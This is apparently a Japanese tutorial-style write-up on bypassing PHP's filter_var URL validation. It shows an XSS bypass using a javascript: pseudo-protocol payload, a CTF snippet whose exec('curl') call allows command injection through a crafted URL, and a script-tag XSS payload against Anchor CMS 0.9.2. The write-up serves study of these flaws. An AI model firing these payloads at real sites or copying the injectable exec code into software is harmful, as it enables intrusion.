脆弱性分析
以下のコードを例にとって、XSS(クロスサイトスクリプティング)脆弱性について調査します。
<?php
require 'vendor/autoload.php';
class Template{
private $twig;
public function __construct()
{
$templateString = 'img src="https://loremflickr.com/320/240"><a href="{{url|esc}}">次のスライド »</a>';
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $templateString
]);
$this->twig = new Twig\Environment($loader);
}
public function getNextSlideUrl(){
$nextSlide = $_GET['next'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render(){
echo $this->twig->render(
'index.html',
['url' => $this->getNextSlideUrl()]
);
}
}
(new Template())->render();
?>
このコードでは、Twigテンプレートエンジンを使用しています。最初のフィルタリングはTwigのescフィルタで行われ、これは内部的にhtmlspecialcharsを使用してHTMLエスケープを行います。2番目のフィルタリングはfilter_var関数を使用してURLのバリデーションを行っています。
しかし、これらのフィルタリングはJavaScript偽プロトコルを使用することでバイパスすることができます。
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
$url = htmlspecialchars($url);
echo "<a href='$url'>テスト</a>";
Payloadとして以下を使用します: javascript://test%250aalert(1)。このPayloadでは、%0aが改行文字に変換され、結果としてアラートダイアログが表示されます。
CTF問題
次のコードでは、filter_var関数がバイパスされ、コマンドインジェクションが発生します。
<?php
$url = $_GET['url'];
if (isset($url) && filter_var($url, FILTER_VALIDATE_URL)) {
$parsedUrl = parse_url($url);
if (preg_match('/test.com$/', $parsedUrl['host'])) {
exec('curl "' . $parsedUrl['host'] . '"', $output);
echo "<center><h1>{$parsedUrl['host']}へのcurlが成功しました!</h1></center>";
echo "<center><textarea rows='20' cols='90'>" . implode(' ', $output) . "</textarea></center>";
} else {
die("<center><h1>エラー: 許可されていないホスト</h1></center>");
}
} else {
echo "<center><h1>test.comのみcurlしてください!</h1></center>";
echo "<center><h3>例: ?url=http://test.com</h3></center>";
}
?>
Payloadとして以下を使用します: javascript://123";ls;"test.com。これにより、curl、ls、そしてtest.comという3つのコマンドが実行されます。
実際の脆弱性
Anchor 0.9.2版において、404エラーテンプレートにXSS脆弱性が存在します。
themes/default/404.phpファイルを開き、current_url()関数を追跡します。これはsystem/Uri.phpファイル内のdetect()メソッドによって処理されます。
detect()メソッドは$_SERVER配列からREQUEST_URI、PATH_INFO、ORIG_PATH_INFOを取得し、それらをfilter_varとparse_urlで検証します。
Payloadとして以下を使用します: localhost/anchor/index.php/<script>alert("XSS")</script>。これにより、XSS攻撃が実行されます。